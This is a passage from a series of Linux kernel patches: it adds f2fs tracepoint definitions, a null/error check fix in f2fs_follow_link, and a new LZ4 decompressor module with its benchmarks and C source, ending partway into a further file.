long)__entry->blkaddr, - show_bio_type(__entry->type)) + (unsigned long long)__entry->m_lblk, + (unsigned long long)__entry->m_pblk, + (unsigned long long)__entry->m_len, + __entry->ret) ); -TRACE_EVENT(f2fs_get_data_block, - TP_PROTO(struct inode *inode, sector_t iblock, - struct buffer_head *bh, int ret), +TRACE_EVENT(f2fs_background_gc, - TP_ARGS(inode, iblock, bh, ret), + TP_PROTO(struct super_block *sb, long wait_ms, + unsigned int prefree, unsigned int free), + + TP_ARGS(sb, wait_ms, prefree, free), TP_STRUCT__entry( __field(dev_t, dev) - __field(ino_t, ino) - __field(sector_t, iblock) - __field(sector_t, bh_start) - __field(size_t, bh_size) - __field(int, ret) + __field(long, wait_ms) + __field(unsigned int, prefree) + __field(unsigned int, free) ), TP_fast_assign( - __entry->dev = inode->i_sb->s_dev; - __entry->ino = inode->i_ino; - __entry->iblock = iblock; - __entry->bh_start = bh->b_blocknr; - __entry->bh_size = bh->b_size; - __entry->ret = ret; + __entry->dev = sb->s_dev; + __entry->wait_ms = wait_ms; + __entry->prefree = prefree; + __entry->free = free; ), - TP_printk("dev = (%d,%d), ino = %lu, file offset = %llu, " - "start blkaddr = 0x%llx, len = 0x%llx bytes, err = %d", - show_dev_ino(__entry), - (unsigned long long)__entry->iblock, - (unsigned long long)__entry->bh_start, - (unsigned long long)__entry->bh_size, - __entry->ret) + TP_printk("dev = (%d,%d), wait_ms = %ld, prefree = %u, free = %u", + show_dev(__entry), + __entry->wait_ms, + __entry->prefree, + __entry->free) ); TRACE_EVENT(f2fs_get_victim, @@ -569,6 +595,69 @@ TRACE_EVENT(f2fs_fallocate, __entry->ret) ); +TRACE_EVENT(f2fs_direct_IO_enter, + + TP_PROTO(struct inode *inode, loff_t offset, unsigned long len, int rw), + + TP_ARGS(inode, offset, len, rw), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, pos) + __field(unsigned long, len) + __field(int, rw) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->pos = offset; + __entry->len = len; + __entry->rw = rw; + ), + + TP_printk("dev = (%d,%d), ino = %lu pos = %lld len = %lu rw = %d", + show_dev_ino(__entry), + __entry->pos, + __entry->len, + __entry->rw) +); + +TRACE_EVENT(f2fs_direct_IO_exit, + + TP_PROTO(struct inode *inode, loff_t offset, unsigned long len, + int rw, int ret), + + TP_ARGS(inode, offset, len, rw, ret), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, pos) + __field(unsigned long, len) + __field(int, rw) + __field(int, ret) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->pos = offset; + __entry->len = len; + __entry->rw = rw; + __entry->ret = ret; + ), + + TP_printk("dev = (%d,%d), ino = %lu pos = %lld len = %lu " + "rw = %d ret = %d", + show_dev_ino(__entry), + __entry->pos, + __entry->len, + __entry->rw, + __entry->ret) +); + TRACE_EVENT(f2fs_reserve_new_block, TP_PROTO(struct inode *inode, nid_t nid, unsigned int ofs_in_node), @@ -593,89 +682,551 @@ TRACE_EVENT(f2fs_reserve_new_block, __entry->ofs_in_node) ); -TRACE_EVENT(f2fs_do_submit_bio, +DECLARE_EVENT_CLASS(f2fs__submit_page_bio, - TP_PROTO(struct super_block *sb, int btype, bool sync, struct bio *bio), + TP_PROTO(struct page *page, struct f2fs_io_info *fio), - TP_ARGS(sb, btype, sync, bio), + TP_ARGS(page, fio), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(pgoff_t, index) + __field(block_t, blkaddr) + __field(int, rw) + __field(int, type) + ), + + TP_fast_assign( + __entry->dev = page->mapping->host->i_sb->s_dev; + __entry->ino = page->mapping->host->i_ino; + __entry->index = page->index; + __entry->blkaddr = fio->blk_addr; + __entry->rw = fio->rw; + __entry->type = fio->type; + ), + + TP_printk("dev = (%d,%d), ino = %lu, page_index = 0x%lx, " + "blkaddr = 0x%llx, rw = %s%s, type = %s", + show_dev_ino(__entry), + (unsigned long)__entry->index, + (unsigned long long)__entry->blkaddr, + show_bio_type(__entry->rw), + show_block_type(__entry->type)) +); + +DEFINE_EVENT_CONDITION(f2fs__submit_page_bio, f2fs_submit_page_bio, + + TP_PROTO(struct page *page, struct f2fs_io_info *fio), + + TP_ARGS(page, fio), + + TP_CONDITION(page->mapping) +); + +DEFINE_EVENT_CONDITION(f2fs__submit_page_bio, f2fs_submit_page_mbio, + + TP_PROTO(struct page *page, struct f2fs_io_info *fio), + + TP_ARGS(page, fio), + + TP_CONDITION(page->mapping) +); + +DECLARE_EVENT_CLASS(f2fs__submit_bio, + + TP_PROTO(struct super_block *sb, struct f2fs_io_info *fio, + struct bio *bio), + + TP_ARGS(sb, fio, bio), TP_STRUCT__entry( __field(dev_t, dev) - __field(int, btype) - __field(bool, sync) + __field(int, rw) + __field(int, type) __field(sector_t, sector) __field(unsigned int, size) ), TP_fast_assign( __entry->dev = sb->s_dev; - __entry->btype = btype; - __entry->sync = sync; + __entry->rw = fio->rw; + __entry->type = fio->type; __entry->sector = bio->bi_sector; __entry->size = bio->bi_size; ), - TP_printk("dev = (%d,%d), type = %s, io = %s, sector = %lld, size = %u", + TP_printk("dev = (%d,%d), %s%s, %s, sector = %lld, size = %u", show_dev(__entry), - show_block_type(__entry->btype), - __entry->sync ? "sync" : "no sync", + show_bio_type(__entry->rw), + show_block_type(__entry->type), (unsigned long long)__entry->sector, __entry->size) ); -TRACE_EVENT(f2fs_submit_write_page, +DEFINE_EVENT_CONDITION(f2fs__submit_bio, f2fs_submit_write_bio, + + TP_PROTO(struct super_block *sb, struct f2fs_io_info *fio, + struct bio *bio), + + TP_ARGS(sb, fio, bio), + + TP_CONDITION(bio) +); + +DEFINE_EVENT_CONDITION(f2fs__submit_bio, f2fs_submit_read_bio, + + TP_PROTO(struct super_block *sb, struct f2fs_io_info *fio, + struct bio *bio), + + TP_ARGS(sb, fio, bio), + + TP_CONDITION(bio) +); + +TRACE_EVENT(f2fs_write_begin, + + TP_PROTO(struct inode *inode, loff_t pos, unsigned int len, + unsigned int flags), + + TP_ARGS(inode, pos, len, flags), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, pos) + __field(unsigned int, len) + __field(unsigned int, flags) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->pos = pos; + __entry->len = len; + __entry->flags = flags; + ), + + TP_printk("dev = (%d,%d), ino = %lu, pos = %llu, len = %u, flags = %u", + show_dev_ino(__entry), + (unsigned long long)__entry->pos, + __entry->len, + __entry->flags) +); + +TRACE_EVENT(f2fs_write_end, - TP_PROTO(struct page *page, block_t blk_addr, int type), + TP_PROTO(struct inode *inode, loff_t pos, unsigned int len, + unsigned int copied), - TP_ARGS(page, blk_addr, type), + TP_ARGS(inode, pos, len, copied), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, pos) + __field(unsigned int, len) + __field(unsigned int, copied) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->pos = pos; + __entry->len = len; + __entry->copied = copied; + ), + + TP_printk("dev = (%d,%d), ino = %lu, pos = %llu, len = %u, copied = %u", + show_dev_ino(__entry), + (unsigned long long)__entry->pos, + __entry->len, + __entry->copied) +); + +DECLARE_EVENT_CLASS(f2fs__page, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type), TP_STRUCT__entry( __field(dev_t, dev) __field(ino_t, ino) __field(int, type) + __field(int, dir) __field(pgoff_t, index) - __field(block_t, block) + __field(int, dirty) + __field(int, uptodate) ), TP_fast_assign( __entry->dev = page->mapping->host->i_sb->s_dev; __entry->ino = page->mapping->host->i_ino; __entry->type = type; + __entry->dir = S_ISDIR(page->mapping->host->i_mode); __entry->index = page->index; - __entry->block = blk_addr; + __entry->dirty = PageDirty(page); + __entry->uptodate = PageUptodate(page); ), - TP_printk("dev = (%d,%d), ino = %lu, %s, index = %lu, blkaddr = 0x%llx", + TP_printk("dev = (%d,%d), ino = %lu, %s, %s, index = %lu, " + "dirty = %d, uptodate = %d", show_dev_ino(__entry), show_block_type(__entry->type), + show_file_type(__entry->dir), (unsigned long)__entry->index, - (unsigned long long)__entry->block) + __entry->dirty, + __entry->uptodate) +); + +DEFINE_EVENT(f2fs__page, f2fs_writepage, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type) +); + +DEFINE_EVENT(f2fs__page, f2fs_do_write_data_page, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type) +); + +DEFINE_EVENT(f2fs__page, f2fs_readpage, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type) +); + +DEFINE_EVENT(f2fs__page, f2fs_set_page_dirty, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type) +); + +DEFINE_EVENT(f2fs__page, f2fs_vm_page_mkwrite, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type) +); + +DEFINE_EVENT(f2fs__page, f2fs_register_inmem_page, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type) +); + +DEFINE_EVENT(f2fs__page, f2fs_commit_inmem_page, + + TP_PROTO(struct page *page, int type), + + TP_ARGS(page, type) +); + +TRACE_EVENT(f2fs_writepages, + + TP_PROTO(struct inode *inode, struct writeback_control *wbc, int type), + + TP_ARGS(inode, wbc, type), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(int, type) + __field(int, dir) + __field(long, nr_to_write) + __field(long, pages_skipped) + __field(loff_t, range_start) + __field(loff_t, range_end) + __field(pgoff_t, writeback_index) + __field(int, sync_mode) + __field(char, for_kupdate) + __field(char, for_background) + __field(char, tagged_writepages) + __field(char, for_reclaim) + __field(char, range_cyclic) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->type = type; + __entry->dir = S_ISDIR(inode->i_mode); + __entry->nr_to_write = wbc->nr_to_write; + __entry->pages_skipped = wbc->pages_skipped; + __entry->range_start = wbc->range_start; + __entry->range_end = wbc->range_end; + __entry->writeback_index = inode->i_mapping->writeback_index; + __entry->sync_mode = wbc->sync_mode; + __entry->for_kupdate = wbc->for_kupdate; + __entry->for_background = wbc->for_background; + __entry->tagged_writepages = wbc->tagged_writepages; + __entry->for_reclaim = wbc->for_reclaim; + __entry->range_cyclic = wbc->range_cyclic; + ), + + TP_printk("dev = (%d,%d), ino = %lu, %s, %s, nr_to_write %ld, " + "skipped %ld, start %lld, end %lld, wb_idx %lu, sync_mode %d, " + "kupdate %u background %u tagged %u reclaim %u cyclic %u", + show_dev_ino(__entry), + show_block_type(__entry->type), + show_file_type(__entry->dir), + __entry->nr_to_write, + __entry->pages_skipped, + __entry->range_start, + __entry->range_end, + (unsigned long)__entry->writeback_index, + __entry->sync_mode, + __entry->for_kupdate, + __entry->for_background, + __entry->tagged_writepages, + __entry->for_reclaim, + __entry->range_cyclic) +); + +TRACE_EVENT(f2fs_readpages, + + TP_PROTO(struct inode *inode, struct page *page, unsigned int nrpage), + + TP_ARGS(inode, page, nrpage), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(pgoff_t, start) + __field(unsigned int, nrpage) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->start = page->index; + __entry->nrpage = nrpage; + ), + + TP_printk("dev = (%d,%d), ino = %lu, start = %lu nrpage = %u", + show_dev_ino(__entry), + (unsigned long)__entry->start, + __entry->nrpage) ); TRACE_EVENT(f2fs_write_checkpoint, - TP_PROTO(struct super_block *sb, bool is_umount, char *msg), + TP_PROTO(struct super_block *sb, int reason, char *msg), - TP_ARGS(sb, is_umount, msg), + TP_ARGS(sb, reason, msg), TP_STRUCT__entry( __field(dev_t, dev) - __field(bool, is_umount) + __field(int, reason) __field(char *, msg) ), TP_fast_assign( __entry->dev = sb->s_dev; - __entry->is_umount = is_umount; + __entry->reason = reason; __entry->msg = msg; ), TP_printk("dev = (%d,%d), checkpoint for %s, state = %s", show_dev(__entry), - __entry->is_umount ? "clean umount" : "consistency", + show_cpreason(__entry->reason), __entry->msg) ); +TRACE_EVENT(f2fs_issue_discard, + + TP_PROTO(struct super_block *sb, block_t blkstart, block_t blklen), + + TP_ARGS(sb, blkstart, blklen), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(block_t, blkstart) + __field(block_t, blklen) + ), + + TP_fast_assign( + __entry->dev = sb->s_dev; + __entry->blkstart = blkstart; + __entry->blklen = blklen; + ), + + TP_printk("dev = (%d,%d), blkstart = 0x%llx, blklen = 0x%llx", + show_dev(__entry), + (unsigned long long)__entry->blkstart, + (unsigned long long)__entry->blklen) +); + +TRACE_EVENT(f2fs_issue_flush, + + TP_PROTO(struct super_block *sb, unsigned int nobarrier, + unsigned int flush_merge), + + TP_ARGS(sb, nobarrier, flush_merge), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(unsigned int, nobarrier) + __field(unsigned int, flush_merge) + ), + + TP_fast_assign( + __entry->dev = sb->s_dev; + __entry->nobarrier = nobarrier; + __entry->flush_merge = flush_merge; + ), + + TP_printk("dev = (%d,%d), %s %s", + show_dev(__entry), + __entry->nobarrier ? "skip (nobarrier)" : "issue", + __entry->flush_merge ? " with flush_merge" : "") +); + +TRACE_EVENT(f2fs_lookup_extent_tree_start, + + TP_PROTO(struct inode *inode, unsigned int pgofs), + + TP_ARGS(inode, pgofs), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(unsigned int, pgofs) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->pgofs = pgofs; + ), + + TP_printk("dev = (%d,%d), ino = %lu, pgofs = %u", + show_dev_ino(__entry), + __entry->pgofs) +); + +TRACE_EVENT_CONDITION(f2fs_lookup_extent_tree_end, + + TP_PROTO(struct inode *inode, unsigned int pgofs, + struct extent_info *ei), + + TP_ARGS(inode, pgofs, ei), + + TP_CONDITION(ei), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(unsigned int, pgofs) + __field(unsigned int, fofs) + __field(u32, blk) + __field(unsigned int, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->pgofs = pgofs; + __entry->fofs = ei->fofs; + __entry->blk = ei->blk; + __entry->len = ei->len; + ), + + TP_printk("dev = (%d,%d), ino = %lu, pgofs = %u, " + "ext_info(fofs: %u, blk: %u, len: %u)", + show_dev_ino(__entry), + __entry->pgofs, + __entry->fofs, + __entry->blk, + __entry->len) +); + +TRACE_EVENT(f2fs_update_extent_tree_range, + + TP_PROTO(struct inode *inode, unsigned int pgofs, block_t blkaddr, + unsigned int len), + + TP_ARGS(inode, pgofs, blkaddr, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(unsigned int, pgofs) + __field(u32, blk) + __field(unsigned int, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->pgofs = pgofs; + __entry->blk = blkaddr; + __entry->len = len; + ), + + TP_printk("dev = (%d,%d), ino = %lu, pgofs = %u, " + "blkaddr = %u, len = %u", + show_dev_ino(__entry), + __entry->pgofs, + __entry->blk, + __entry->len) +); + +TRACE_EVENT(f2fs_shrink_extent_tree, + + TP_PROTO(struct f2fs_sb_info *sbi, unsigned int node_cnt, + unsigned int tree_cnt), + + TP_ARGS(sbi, node_cnt, tree_cnt), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(unsigned int, node_cnt) + __field(unsigned int, tree_cnt) + ), + + TP_fast_assign( + __entry->dev = sbi->sb->s_dev; + __entry->node_cnt = node_cnt; + __entry->tree_cnt = tree_cnt; + ), + + TP_printk("dev = (%d,%d), shrunk: node_cnt = %u, tree_cnt = %u", + show_dev(__entry), + __entry->node_cnt, + __entry->tree_cnt) +); + +TRACE_EVENT(f2fs_destroy_extent_tree, + + TP_PROTO(struct inode *inode, unsigned int node_cnt), + + TP_ARGS(inode, node_cnt), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(unsigned int, node_cnt) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->node_cnt = node_cnt; + ), + + TP_printk("dev = (%d,%d), ino = %lu, destroyed: node_cnt = %u", + show_dev_ino(__entry), + __entry->node_cnt) +); + #endif /* _TRACE_F2FS_H */ /* This part must be outside protection */ From a5d7388ab48488a2540bcaf5968cd40849e015a2 Mon Sep 17 00:00:00 2001 From: Yunlei He Date: Sat, 28 Nov 2015 14:38:40 +0800 Subject: [PATCH 002/365] f2fs: Fix a system panic caused by f2fs_follow_link In linux 3.10, we can not make sure the return value of nd_get_link function is valid. So this patch add a check before use it. Signed-off-by: Yunlei He Signed-off-by: Shuoran Liu Signed-off-by: Jaegeuk Kim Change-Id: I18baee3ac816e33c3e7dcf9eddd436fb2932d69b --- fs/f2fs/namei.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/fs/f2fs/namei.c b/fs/f2fs/namei.c index 336d43d9cff89..bfaec10af7e20 100644 --- a/fs/f2fs/namei.c +++ b/fs/f2fs/namei.c @@ -319,13 +319,18 @@ static int f2fs_unlink(struct inode *dir, struct dentry *dentry) static void *f2fs_follow_link(struct dentry *dentry, struct nameidata *nd) { struct page *page; + char *link; page = page_follow_link_light(dentry, nd); if (IS_ERR(page)) return page; + link = nd_get_link(nd); + if (IS_ERR(link)) + return link; + /* this is broken symlink case */ - if (*nd_get_link(nd) == 0) { + if (*link == 0) { kunmap(page); page_cache_release(page); return ERR_PTR(-ENOENT); From e34e7be350a13149e34c9762c39aa932198ebf68 Mon Sep 17 00:00:00 2001 From: Kyungsik Lee Date: Mon, 8 Jul 2013 16:01:45 -0700 Subject: [PATCH 003/365] decompressor: add LZ4 decompressor module Add support for LZ4 decompression in the Linux Kernel. LZ4 Decompression APIs for kernel are based on LZ4 implementation by Yann Collet. Benchmark Results(PATCH v3) Compiler: Linaro ARM gcc 4.6.2 1. ARMv7, 1.5GHz based board Kernel: linux 3.4 Uncompressed Kernel Size: 14MB Compressed Size Decompression Speed LZO 6.7MB 20.1MB/s, 25.2MB/s(UA) LZ4 7.3MB 29.1MB/s, 45.6MB/s(UA) 2. ARMv7, 1.7GHz based board Kernel: linux 3.7 Uncompressed Kernel Size: 14MB Compressed Size Decompression Speed LZO 6.0MB 34.1MB/s, 52.2MB/s(UA) LZ4 6.5MB 86.7MB/s - UA: Unaligned memory Access support - Latest patch set for LZO applied This patch set is for adding support for LZ4-compressed Kernel. LZ4 is a very fast lossless compression algorithm and it also features an extremely fast decoder [1]. But we have five of decompressors already and one question which does arise, however, is that of where do we stop adding new ones? This issue had been discussed and came to the conclusion [2]. Russell King said that we should have: - one decompressor which is the fastest - one decompressor for the highest compression ratio - one popular decompressor (eg conventional gzip) If we have a replacement one for one of these, then it should do exactly that: replace it. The benchmark shows that an 8% increase in image size vs a 66% increase in decompression speed compared to LZO(which has been known as the fastest decompressor in the Kernel). Therefore the "fast but may not be small" compression title has clearly been taken by LZ4 [3]. [1] http://code.google.com/p/lz4/ [2] http://thread.gmane.org/gmane.linux.kbuild.devel/9157 [3] http://thread.gmane.org/gmane.linux.kbuild.devel/9347 LZ4 homepage: http://fastcompression.blogspot.com/p/lz4.html LZ4 source repository: http://code.google.com/p/lz4/ Change-Id: Ib7d1226ac0facea4c66f3ff50661242294ba6746 Signed-off-by: Kyungsik Lee Signed-off-by: Yann Collet Cc: "H. Peter Anvin" Cc: Ingo Molnar Cc: Thomas Gleixner Cc: Russell King Cc: Borislav Petkov Cc: Florian Fainelli Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds --- include/linux/lz4.h | 51 ++++++ lib/lz4/lz4_decompress.c | 326 +++++++++++++++++++++++++++++++++++++++ lib/lz4/lz4defs.h | 94 +++++++++++ 3 files changed, 471 insertions(+) create mode 100644 include/linux/lz4.h create mode 100644 lib/lz4/lz4_decompress.c create mode 100644 lib/lz4/lz4defs.h diff --git a/include/linux/lz4.h b/include/linux/lz4.h new file mode 100644 index 0000000000000..7f6c75a093f87 --- /dev/null +++ b/include/linux/lz4.h @@ -0,0 +1,51 @@ +#ifndef __LZ4_H__ +#define __LZ4_H__ +/* + * LZ4 Kernel Interface + * + * Copyright (C) 2013, LG Electronics, Kyungsik Lee + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +/* + * lz4_compressbound() + * Provides the maximum size that LZ4 may output in a "worst case" scenario + * (input data not compressible) + */ +static inline size_t lz4_compressbound(size_t isize) +{ + return isize + (isize / 255) + 16; +} + +/* + * lz4_decompress() + * src : source address of the compressed data + * src_len : is the input size, whcih is returned after decompress done + * dest : output buffer address of the decompressed data + * actual_dest_len: is the size of uncompressed data, supposing it's known + * return : Success if return 0 + * Error if return (< 0) + * note : Destination buffer must be already allocated. + * slightly faster than lz4_decompress_unknownoutputsize() + */ +int lz4_decompress(const char *src, size_t *src_len, char *dest, + size_t actual_dest_len); + +/* + * lz4_decompress_unknownoutputsize() + * src : source address of the compressed data + * src_len : is the input size, therefore the compressed size + * dest : output buffer address of the decompressed data + * dest_len: is the max size of the destination buffer, which is + * returned with actual size of decompressed data after + * decompress done + * return : Success if return 0 + * Error if return (< 0) + * note : Destination buffer must be already allocated. + */ +int lz4_decompress_unknownoutputsize(const char *src, size_t src_len, + char *dest, size_t *dest_len); +#endif diff --git a/lib/lz4/lz4_decompress.c b/lib/lz4/lz4_decompress.c new file mode 100644 index 0000000000000..dcc89753af653 --- /dev/null +++ b/lib/lz4/lz4_decompress.c @@ -0,0 +1,326 @@ +/* + * LZ4 Decompressor for Linux kernel + * + * Copyright (C) 2013 LG Electronics Co., Ltd. (http://www.lge.com/) + * + * Based on LZ4 implementation by Yann Collet. + * + * LZ4 - Fast LZ compression algorithm + * Copyright (C) 2011-2012, Yann Collet. + * BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following disclaimer + * in the documentation and/or other materials provided with the + * distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * You can contact the author at : + * - LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html + * - LZ4 source repository : http://code.google.com/p/lz4/ + */ + +#ifndef STATIC +#include +#include +#endif +#include + +#include + +#include "lz4defs.h" + +static int lz4_uncompress(const char *source, char *dest, int osize) +{ + const BYTE *ip = (const BYTE *) source; + const BYTE *ref; + BYTE *op = (BYTE *) dest; + BYTE * const oend = op + osize; + BYTE *cpy; + unsigned token; + size_t length; + size_t dec32table[] = {0, 3, 2, 3, 0, 0, 0, 0}; +#if LZ4_ARCH64 + size_t dec64table[] = {0, 0, 0, -1, 0, 1, 2, 3}; +#endif + + while (1) { + + /* get runlength */ + token = *ip++; + length = (token >> ML_BITS); + if (length == RUN_MASK) { + size_t len; + + len = *ip++; + for (; len == 255; length += 255) + len = *ip++; + length += len; + } + + /* copy literals */ + cpy = op + length; + if (unlikely(cpy > oend - COPYLENGTH)) { + /* + * Error: not enough place for another match + * (min 4) + 5 literals + */ + if (cpy != oend) + goto _output_error; + + memcpy(op, ip, length); + ip += length; + break; /* EOF */ + } + LZ4_WILDCOPY(ip, op, cpy); + ip -= (op - cpy); + op = cpy; + + /* get offset */ + LZ4_READ_LITTLEENDIAN_16(ref, cpy, ip); + ip += 2; + + /* Error: offset create reference outside destination buffer */ + if (unlikely(ref < (BYTE *const) dest)) + goto _output_error; + + /* get matchlength */ + length = token & ML_MASK; + if (length == ML_MASK) { + for (; *ip == 255; length += 255) + ip++; + length += *ip++; + } + + /* copy repeated sequence */ + if (unlikely((op - ref) < STEPSIZE)) { +#if LZ4_ARCH64 + size_t dec64 = dec64table[op - ref]; +#else + const int dec64 = 0; +#endif + op[0] = ref[0]; + op[1] = ref[1]; + op[2] = ref[2]; + op[3] = ref[3]; + op += 4; + ref += 4; + ref -= dec32table[op-ref]; + PUT4(ref, op); + op += STEPSIZE - 4; + ref -= dec64; + } else { + LZ4_COPYSTEP(ref, op); + } + cpy = op + length - (STEPSIZE - 4); + if (cpy > (oend - COPYLENGTH)) { + + /* Error: request to write beyond destination buffer */ + if (cpy > oend) + goto _output_error; + LZ4_SECURECOPY(ref, op, (oend - COPYLENGTH)); + while (op < cpy) + *op++ = *ref++; + op = cpy; + /* + * Check EOF (should never happen, since last 5 bytes + * are supposed to be literals) + */ + if (op == oend) + goto _output_error; + continue; + } + LZ4_SECURECOPY(ref, op, cpy); + op = cpy; /* correction */ + } + /* end of decoding */ + return (int) (((char *)ip) - source); + + /* write overflow error detected */ +_output_error: + return (int) (-(((char *)ip) - source)); +} + +static int lz4_uncompress_unknownoutputsize(const char *source, char *dest, + int isize, size_t maxoutputsize) +{ + const BYTE *ip = (const BYTE *) source; + const BYTE *const iend = ip + isize; + const BYTE *ref; + + + BYTE *op = (BYTE *) dest; + BYTE * const oend = op + maxoutputsize; + BYTE *cpy; + + size_t dec32table[] = {0, 3, 2, 3, 0, 0, 0, 0}; +#if LZ4_ARCH64 + size_t dec64table[] = {0, 0, 0, -1, 0, 1, 2, 3}; +#endif + + /* Main Loop */ + while (ip < iend) { + + unsigned token; + size_t length; + + /* get runlength */ + token = *ip++; + length = (token >> ML_BITS); + if (length == RUN_MASK) { + int s = 255; + while ((ip < iend) && (s == 255)) { + s = *ip++; + length += s; + } + } + /* copy literals */ + cpy = op + length; + if ((cpy > oend - COPYLENGTH) || + (ip + length > iend - COPYLENGTH)) { + + if (cpy > oend) + goto _output_error;/* writes beyond buffer */ + + if (ip + length != iend) + goto _output_error;/* + * Error: LZ4 format requires + * to consume all input + * at this stage + */ + memcpy(op, ip, length); + op += length; + break;/* Necessarily EOF, due to parsing restrictions */ + } + LZ4_WILDCOPY(ip, op, cpy); + ip -= (op - cpy); + op = cpy; + + /* get offset */ + LZ4_READ_LITTLEENDIAN_16(ref, cpy, ip); + ip += 2; + if (ref < (BYTE * const) dest) + goto _output_error; + /* + * Error : offset creates reference + * outside of destination buffer + */ + + /* get matchlength */ + length = (token & ML_MASK); + if (length == ML_MASK) { + while (ip < iend) { + int s = *ip++; + length += s; + if (s == 255) + continue; + break; + } + } + + /* copy repeated sequence */ + if (unlikely((op - ref) < STEPSIZE)) { +#if LZ4_ARCH64 + size_t dec64 = dec64table[op - ref]; +#else + const int dec64 = 0; +#endif + op[0] = ref[0]; + op[1] = ref[1]; + op[2] = ref[2]; + op[3] = ref[3]; + op += 4; + ref += 4; + ref -= dec32table[op - ref]; + PUT4(ref, op); + op += STEPSIZE - 4; + ref -= dec64; + } else { + LZ4_COPYSTEP(ref, op); + } + cpy = op + length - (STEPSIZE-4); + if (cpy > oend - COPYLENGTH) { + if (cpy > oend) + goto _output_error; /* write outside of buf */ + + LZ4_SECURECOPY(ref, op, (oend - COPYLENGTH)); + while (op < cpy) + *op++ = *ref++; + op = cpy; + /* + * Check EOF (should never happen, since last 5 bytes + * are supposed to be literals) + */ + if (op == oend) + goto _output_error; + continue; + } + LZ4_SECURECOPY(ref, op, cpy); + op = cpy; /* correction */ + } + /* end of decoding */ + return (int) (((char *) op) - dest); + + /* write overflow error detected */ +_output_error: + return (int) (-(((char *) ip) - source)); +} + +int lz4_decompress(const char *src, size_t *src_len, char *dest, + size_t actual_dest_len) +{ + int ret = -1; + int input_len = 0; + + input_len = lz4_uncompress(src, dest, actual_dest_len); + if (input_len < 0) + goto exit_0; + *src_len = input_len; + + return 0; +exit_0: + return ret; +} +#ifndef STATIC +EXPORT_SYMBOL_GPL(lz4_decompress); +#endif + +int lz4_decompress_unknownoutputsize(const char *src, size_t src_len, + char *dest, size_t *dest_len) +{ + int ret = -1; + int out_len = 0; + + out_len = lz4_uncompress_unknownoutputsize(src, dest, src_len, + *dest_len); + if (out_len < 0) + goto exit_0; + *dest_len = out_len; + + return 0; +exit_0: + return ret; +} +#ifndef STATIC +EXPORT_SYMBOL_GPL(lz4_decompress_unknownoutputsize); + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("LZ4 Decompressor"); +#endif diff --git a/lib/lz4/lz4defs.h b/lib/lz4/lz4defs.h new file mode 